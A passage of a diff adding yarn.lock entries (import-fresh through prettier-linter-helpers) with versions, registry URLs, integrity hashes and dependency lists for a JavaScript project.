sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg== + +import-fresh@^3.2.1: + version "3.3.1" + resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf" + integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ== + dependencies: + parent-module "^1.0.0" + resolve-from "^4.0.0" + +imurmurhash@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea" + integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA== + +internal-slot@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961" + integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw== + dependencies: + es-errors "^1.3.0" + hasown "^2.0.2" + side-channel "^1.1.0" + +is-array-buffer@^3.0.4, is-array-buffer@^3.0.5: + version "3.0.5" + resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280" + integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + get-intrinsic "^1.2.6" + +is-async-function@^2.0.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz#3e69018c8e04e73b738793d020bfe884b9fd3523" + integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ== + dependencies: + async-function "^1.0.0" + call-bound "^1.0.3" + get-proto "^1.0.1" + has-tostringtag "^1.0.2" + safe-regex-test "^1.1.0" + +is-bigint@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672" + integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ== + dependencies: + has-bigints "^1.0.2" + +is-boolean-object@^1.2.1: + version "1.2.2" + resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz#7067f47709809a393c71ff5bb3e135d8a9215d9e" + integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-callable@^1.2.7: + version "1.2.7" + resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055" + integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA== + +is-core-module@^2.13.0, is-core-module@^2.16.0, is-core-module@^2.16.1: + version "2.16.1" + resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4" + integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w== + dependencies: + hasown "^2.0.2" + +is-data-view@^1.0.1, is-data-view@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e" + integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw== + dependencies: + call-bound "^1.0.2" + get-intrinsic "^1.2.6" + is-typed-array "^1.1.13" + +is-date-object@^1.0.5, is-date-object@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7" + integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg== + dependencies: + call-bound "^1.0.2" + has-tostringtag "^1.0.2" + +is-extglob@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2" + integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== + +is-finalizationregistry@^1.1.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90" + integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg== + dependencies: + call-bound "^1.0.3" + +is-generator-function@^1.0.10: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz#bf3eeda931201394f57b5dba2800f91a238309ca" + integrity sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ== + dependencies: + call-bound "^1.0.3" + get-proto "^1.0.0" + has-tostringtag "^1.0.2" + safe-regex-test "^1.1.0" + +is-glob@^4.0.0, is-glob@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084" + integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== + dependencies: + is-extglob "^2.1.1" + +is-map@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e" + integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw== + +is-negative-zero@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747" + integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw== + +is-network-error@^1.1.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/is-network-error/-/is-network-error-1.3.0.tgz#2ce62cbca444abd506f8a900f39d20b898d37512" + integrity sha512-6oIwpsgRfnDiyEDLMay/GqCl3HoAtH5+RUKW29gYkL0QA+ipzpDLA16yQs7/RHCSu+BwgbJaOUqa4A99qNVQVw== + +is-number-object@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541" + integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-regex@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz#76d70a3ed10ef9be48eb577887d74205bf0cad22" + integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g== + dependencies: + call-bound "^1.0.2" + gopd "^1.2.0" + has-tostringtag "^1.0.2" + hasown "^2.0.2" + +is-set@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz#8ab209ea424608141372ded6e0cb200ef1d9d01d" + integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg== + +is-shared-array-buffer@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz#9b67844bd9b7f246ba0708c3a93e34269c774f6f" + integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A== + dependencies: + call-bound "^1.0.3" + +is-string@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz#92ea3f3d5c5b6e039ca8677e5ac8d07ea773cbb9" + integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-symbol@^1.0.4, is-symbol@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz#f47761279f532e2b05a7024a7506dbbedacd0634" + integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w== + dependencies: + call-bound "^1.0.2" + has-symbols "^1.1.0" + safe-regex-test "^1.1.0" + +is-typed-array@^1.1.13, is-typed-array@^1.1.14, is-typed-array@^1.1.15: + version "1.1.15" + resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz#4bfb4a45b61cee83a5a46fba778e4e8d59c0ce0b" + integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ== + dependencies: + which-typed-array "^1.1.16" + +is-weakmap@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd" + integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w== + +is-weakref@^1.0.2, is-weakref@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.1.tgz#eea430182be8d64174bd96bffbc46f21bf3f9293" + integrity sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew== + dependencies: + call-bound "^1.0.3" + +is-weakset@^2.0.3: + version "2.0.4" + resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.4.tgz#c9f5deb0bc1906c6d6f1027f284ddf459249daca" + integrity sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ== + dependencies: + call-bound "^1.0.3" + get-intrinsic "^1.2.6" + +isarray@^2.0.5: + version "2.0.5" + resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723" + integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw== + +isexe@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10" + integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw== + +jackspeak@^4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/jackspeak/-/jackspeak-4.2.3.tgz#27ef80f33b93412037c3bea4f8eddf80e1931483" + integrity sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg== + dependencies: + "@isaacs/cliui" "^9.0.0" + +js-tiktoken@^1.0.12: + version "1.0.21" + resolved "https://registry.yarnpkg.com/js-tiktoken/-/js-tiktoken-1.0.21.tgz#368a9957591a30a62997dd0c4cf30866f00f8221" + integrity sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g== + dependencies: + base64-js "^1.5.1" + +js-yaml@^4.1.1: + version "4.2.0" + resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.2.0.tgz#2bd9e85682dd91bd469afb809d816043b3d49524" + integrity sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw== + dependencies: + argparse "^2.0.1" + +json-buffer@3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13" + integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ== + +json-schema-traverse@^0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660" + integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg== + +json-stable-stringify-without-jsonify@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651" + integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw== + +json5@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz#63d98d60f21b313b77c4d6da18bfa69d80e1d593" + integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA== + dependencies: + minimist "^1.2.0" + +keyv@^4.5.4: + version "4.5.4" + resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93" + integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw== + dependencies: + json-buffer "3.0.1" + +"langsmith@>=0.5.0 <1.0.0": + version "0.7.1" + resolved "https://registry.yarnpkg.com/langsmith/-/langsmith-0.7.1.tgz#d721ad2e5211f9a5373e8a84eb4fed36b5621971" + integrity sha512-Wjk90UjNoY5cBHMlNAC/eZx5clI8jnjBOBW8uJu8+MWBtx0QesNjsUiLtjI+I3UnrpxFFpDqGXcnhBjH654Mqg== + dependencies: + p-queue "6.6.2" + +levn@^0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade" + integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ== + dependencies: + prelude-ls "^1.2.1" + type-check "~0.4.0" + +locate-path@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286" + integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== + dependencies: + p-locate "^5.0.0" + +math-intrinsics@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9" + integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g== + +minimatch@^10.2.2, minimatch@^10.2.4: + version "10.2.4" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde" + integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg== + dependencies: + brace-expansion "^5.0.2" + +minimatch@^3.1.2, minimatch@^3.1.5: + version "3.1.5" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e" + integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w== + dependencies: + brace-expansion "^1.1.7" + +minimist@^1.2.0, minimist@^1.2.6: + version "1.2.8" + resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c" + integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA== + +ms@^2.1.1, ms@^2.1.3: + version "2.1.3" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" + integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== + +mustache@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/mustache/-/mustache-4.2.0.tgz#e5892324d60a12ec9c2a73359edca52972bf6f64" + integrity sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ== + +natural-compare@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7" + integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw== + +object-inspect@^1.13.3, object-inspect@^1.13.4: + version "1.13.4" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213" + integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew== + +object-keys@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e" + integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA== + +object.assign@^4.1.7: + version "4.1.7" + resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d" + integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + has-symbols "^1.1.0" + object-keys "^1.1.1" + +object.fromentries@^2.0.8: + version "2.0.8" + resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz#f7195d8a9b97bd95cbc1999ea939ecd1a2b00c65" + integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-abstract "^1.23.2" + es-object-atoms "^1.0.0" + +object.groupby@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz#9b125c36238129f6f7b61954a1e7176148d5002e" + integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ== + dependencies: + call-bind "^1.0.7" + define-properties "^1.2.1" + es-abstract "^1.23.2" + +object.values@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz#deed520a50809ff7f75a7cfd4bc64c7a038c6216" + integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + es-object-atoms "^1.0.0" + +optionator@^0.9.3: + version "0.9.4" + resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734" + integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g== + dependencies: + deep-is "^0.1.3" + fast-levenshtein "^2.0.6" + levn "^0.4.1" + prelude-ls "^1.2.1" + type-check "^0.4.0" + word-wrap "^1.2.5" + +own-keys@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358" + integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg== + dependencies: + get-intrinsic "^1.2.6" + object-keys "^1.1.1" + safe-push-apply "^1.0.0" + +p-finally@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae" + integrity sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow== + +p-limit@^3.0.2: + version "3.1.0" + resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" + integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== + dependencies: + yocto-queue "^0.1.0" + +p-locate@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834" + integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== + dependencies: + p-limit "^3.0.2" + +p-queue@6.6.2, p-queue@^6.6.2: + version "6.6.2" + resolved "https://registry.yarnpkg.com/p-queue/-/p-queue-6.6.2.tgz#2068a9dcf8e67dd0ec3e7a2bcb76810faa85e426" + integrity sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ== + dependencies: + eventemitter3 "^4.0.4" + p-timeout "^3.2.0" + +p-queue@^9.0.1: + version "9.1.0" + resolved "https://registry.yarnpkg.com/p-queue/-/p-queue-9.1.0.tgz#846e517c461fb6e3cf8fc09904e57d342ac448b2" + integrity sha512-O/ZPaXuQV29uSLbxWBGGZO1mCQXV2BLIwUr59JUU9SoH76mnYvtms7aafH/isNSNGwuEfP6W/4xD0/TJXxrizw== + dependencies: + eventemitter3 "^5.0.1" + p-timeout "^7.0.0" + +p-retry@^7.1.1: + version "7.1.1" + resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-7.1.1.tgz#7470fdecb1152ba50f1334e48378c9e401330e24" + integrity sha512-J5ApzjyRkkf601HpEeykoiCvzHQjWxPAHhyjFcEUP2SWq0+35NKh8TLhpLw+Dkq5TZBFvUM6UigdE9hIVYTl5w== + dependencies: + is-network-error "^1.1.0" + +p-timeout@^3.2.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-3.2.0.tgz#c7e17abc971d2a7962ef83626b35d635acf23dfe" + integrity sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg== + dependencies: + p-finally "^1.0.0" + +p-timeout@^7.0.0: + version "7.0.1" + resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-7.0.1.tgz#95680a6aa693c530f14ac337b8bd32d4ec6ae4f0" + integrity sha512-AxTM2wDGORHGEkPCt8yqxOTMgpfbEHqF51f/5fJCmwFC3C/zNcGT63SymH2ttOAaiIws2zVg4+izQCjrakcwHg== + +parent-module@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2" + integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g== + dependencies: + callsites "^3.0.0" + +path-exists@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" + integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== + +path-key@^3.1.0: + version "3.1.1" + resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375" + integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q== + +path-parse@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735" + integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw== + +picomatch@^4.0.3: + version "4.0.4" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-4.0.4.tgz#fd6f5e00a143086e074dffe4c924b8fb293b0589" + integrity sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A== + +possible-typed-array-names@^1.0.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz#93e3582bc0e5426586d9d07b79ee40fc841de4ae" + integrity sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg== + +prelude-ls@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396" + integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g== + +prettier-linter-helpers@^1.0.1: + version "1.0.1" + resolved 